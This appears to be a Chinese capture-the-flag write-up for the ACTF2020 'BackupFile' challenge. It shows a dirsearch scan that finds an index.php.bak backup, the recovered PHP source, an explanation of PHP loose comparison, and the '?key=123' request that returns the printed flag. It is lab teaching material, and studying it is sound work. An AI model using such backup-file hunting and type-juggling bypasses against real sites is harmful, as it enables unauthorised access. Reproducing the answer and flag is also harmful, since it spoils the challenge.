[ACTF2020 新生赛]BackupFile1

题目

翻译,尝试找出源文件!

扫目录使用参数-e *

复制代码
python dirsearch.py -u http://0c3b21c0-d360-4baa-8b97-aa244f4c4825.node5.buuoj.cn:81/ -e *

最终扫描到一个文件名为:/index.php.bak的文件,把备份文件下载下来

源码

复制代码
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

在PHP中:

= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。

所以,这里的a = = b是返回True。

所以这里我们只需要提供一个参数?key=123就可以拿到flag了

复制代码
/?key=123

拿下falg

flag{252d8da5-1fd5-48f9-87a5-606ce60db7c2}

相关推荐
私人珍藏库9 小时前
[Android] 会计快题库 -财会职称考试刷题学习
android·人工智能·学习·app·软件·多功能
从零开始的代码生活_15 小时前
C++ list 原理与实践:双向链表、迭代器与简化实现
开发语言·c++·后端·学习·算法·链表·list
二炮手亮子15 小时前
记录AI学习之路Day13:小模型(AI生成)
学习
程序员小八77716 小时前
从 0 学习 MySQL 索引——7 大核心精讲
android·学习·mysql
渣渣灰飞16 小时前
MySQL 系统学习 第六阶段:Redis + 缓存 + 高并发设计 第六章:Redis 实现登录 Token
学习·mysql·缓存
渣渣灰飞16 小时前
MySQL 系统学习 第六阶段:Redis + 缓存 + 高并发设计 第五章:缓存穿透、缓存击穿、缓存雪崩
学习·mysql·缓存
念何架构之路17 小时前
Docker 容器状态机 学习
java·学习·docker
你有我备注吗17 小时前
SQL学习之查询
java·sql·学习
从零开始的代码生活_17 小时前
C++ stack、queue 与 priority_queue:容器适配器原理与实战
开发语言·c++·后端·学习·算法
铅笔侠_小龙虾17 小时前
Rust 学习(6)-所有权规则、移动语义、Clone 与 Copy
python·学习·rust